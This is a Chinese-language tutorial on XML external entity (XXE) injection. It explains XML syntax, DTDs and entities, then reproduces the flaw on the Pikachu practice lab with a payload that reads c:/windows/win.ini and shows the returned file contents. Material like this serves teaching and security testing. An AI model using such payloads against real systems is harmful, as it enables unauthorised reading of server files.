XML外部实体注入漏洞

一、XXE介绍

XXE(XML External Entuty Injextion),中文:XML外部实体注入

在学习此漏洞前,我们要先搞懂什么是XML

二、XML介绍

  XML(Extensible Markup Language),中文可扩展标记语言,它是标准通用标记语言SGML(Standard Generalized Markup Language)的子集。
  XML的设计目标是在互联网上传输和存储数据,而不是用于数据的显示。它允许用户自定义标签,这使得XML在描述和交换独立于应用程序或供应商的结构化数据方面非常有效,具有可扩展性,跨平台等优点

基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!--1、xml文档声明,注释与HTML一样-->
<?xml version="1.0" encoding="UTF-8"?>
<!--标记,HTML中交标签,允许标记重复-->
<persons>
<person>
<name> 李四 </name>
<length>180cm</length>
</person>
<person>
<name> 李四 </name>
<length>200cm</length>
</person>
</persons>
<元素名 属性名1="属性值1" 属性名2="属性值2">
空元素 (empty element)<site></site>
单标签
格式:<标签名 属性="值" 属性="值"/>
双标签
格式:<标签名 属性="值" 属性="值"></标签名>

[!CAUTION]

  1. 区分大小写<Person><person>是不同的标记
  2. 标记不能以数字开头,不能包含空格
  3. 在XML中,文档中的空格不会被删减。

DTD

DTD与XML的关系宛如 类与实例 的关系,DTD会规定XML的结构,有什么元素以及元素的先后顺序

1
<?xml version="1.0" ?> 
1
2
3
<!DOCTYPE 根元素 [
<!ELEMENT 元素名称 (元素内容)>
]>
1
2
3
4
<!--2.引用本机DTD文件:-->
<!DOCTYPE 根元素 SYSTEM "DTD文件的路径">
<!--3.引用网络上DTD文件:-->
<!DOCTYPE 根元素 PUBLIC "public_ID" "DTD文件的URL">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!--以下开始DTD文档,这是一个note文档 -->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]><!--以上部分即为DTD,它规定了下边XML的格式-->
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Don` t forget me this weekend!</message>
</note>
1
2
3
4
5
<!--元素的类型有:
1. ANY:表示任意类型
2. EMPTY:空元素
3. #PCDATA:简单元素或纯文本元素,可以包含任意字符数据,但是不能包含任何子元素
4. 父元素类型:只包含子元素,并且除了子元素外没有文本-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="GB2312"?>
<!--一个内部DTD的示例,首先写根元素“家庭”-->
<!--包含两个元素,人至少出现一次,家电可以出现人一次,这两个元素都被定义为空类型-->
<!DOCTYPE 家庭[
<!ELEMENT 家庭 (人+,家电*)>
<!ELEMENT 人 EMPTY>
<!ELEMENT 家电 EMPTY>
<!--开始定义属性-->
<!ATTLIST 人
名字 CDATA #REQUIRED
年龄 CDATA #REQUIRED
爱好 CDATA #IMPLIED
>
<!ATTLIST 家电
名称 CDATA #REQUIRED
数量 CDATA #REQUIRED
说明 CDATA #IMPLIED
>
]>
<!--DTD部分结束-->
<家庭>
<人 名字="张三" 年龄="25"/>
<人 名字="李四" 年龄="38" 爱好="踢足球"/>
<家电 名称="彩电" 数量="三" />
</家庭>

实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

例如

&apos; 单引号
&amp; & &
&quot; 双引号
&lt; < 小于号
&gt; > 大于号

自定义实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE FAMILY[
<!ELEMENT FAMILY (NAME,AGE)>
<!ELEMENT NAME (#PCDATA)>
<!ELEMENT AGE (#PCDATA)>
<!ENTITY name "张三"> <!-- 内部实体-->
<!ENTITY age "19">
]>
<FAMILY>
<NAME>&name;</NAME>
<AHE>&age;</AHE>
</FAMILY>
<!--输出-->
<FAMILY>
<NAME>张三</NAME>
<AHE>19</AHE>
</FAMILY>

漏洞复现

使用pikachu的XXE靶场,输入payload

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///c:/windows/win.ini">
]>
<x>&f;</x>

成功返回

1
2
3
4
5
6
7
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1